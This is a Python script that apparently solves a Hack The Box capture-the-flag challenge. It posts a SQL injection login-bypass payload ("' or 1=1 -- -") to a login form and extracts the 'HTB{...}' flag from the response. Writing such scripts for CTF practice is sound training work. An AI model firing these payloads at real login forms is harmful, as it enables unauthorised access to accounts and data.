import requests
import argparse
import sys

def main():
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description="Send SQL injection payload and extract flag from challenge URL.")
    parser.add_argument("url", type=str, help="Challenge URL in the format <protocol>://<host>:<port>")
    parser.add_argument("--payload", type=str, default="' or 1=1 -- -", help="SQL injection payload (default: \"' or 1=1 -- -\")")
    parser.add_argument("--field", type=str, choices=["login", "password", "both"], default="login",
                        help="Field(s) to inject payload into: 'login', 'password', or 'both' (default: 'login')")
    parser.add_argument("--login_key", type=str, default="username", help="Key name for the login field (default: 'username')")
    parser.add_argument("--password_key", type=str, default="password", help="Key name for the password field (default: 'password')")
    args = parser.parse_args()

    # Validate URL format
    if not args.url.startswith("http://") and not args.url.startswith("https://"):
        print("[ERROR] URL must start with 'http://' or 'https://'.")
        sys.exit(1)

    challenge_url = args.url

    # Prepare request data
    req_data = {}
    if args.field in ("login", "both"):
        req_data[args.login_key] = args.payload
    if args.field in ("password", "both"):
        req_data[args.password_key] = args.payload

    # Verbose logging
    print("[INFO] Sending SQL injection payload...")
    print(f"[INFO] Target URL: {challenge_url}")
    print(f"[INFO] Request data: {req_data}")

    try:
        # Send POST request
        resp = requests.post(challenge_url, data=req_data)
        resp.raise_for_status()  # Raise exception for HTTP errors
    except requests.exceptions.RequestException as e:
        print(f"[ERROR] Request failed: {e}")
        sys.exit(1)

    # Extract flag from response
    html = ""
    print("[INFO] Response received.")
    try:
        html = resp.text
        flag = "HTB{" + html.split("HTB{")[1].split("}")[0] + "}"
        print(f"[SUCCESS] Flag extracted: {flag}")
    except (IndexError, ValueError) as e:
        print(f"[ERROR] Unable to extract flag from response: {e}")
        print("[INFO] Response content:")
        print(html)
        sys.exit(1)

if __name__ == "__main__":
    main()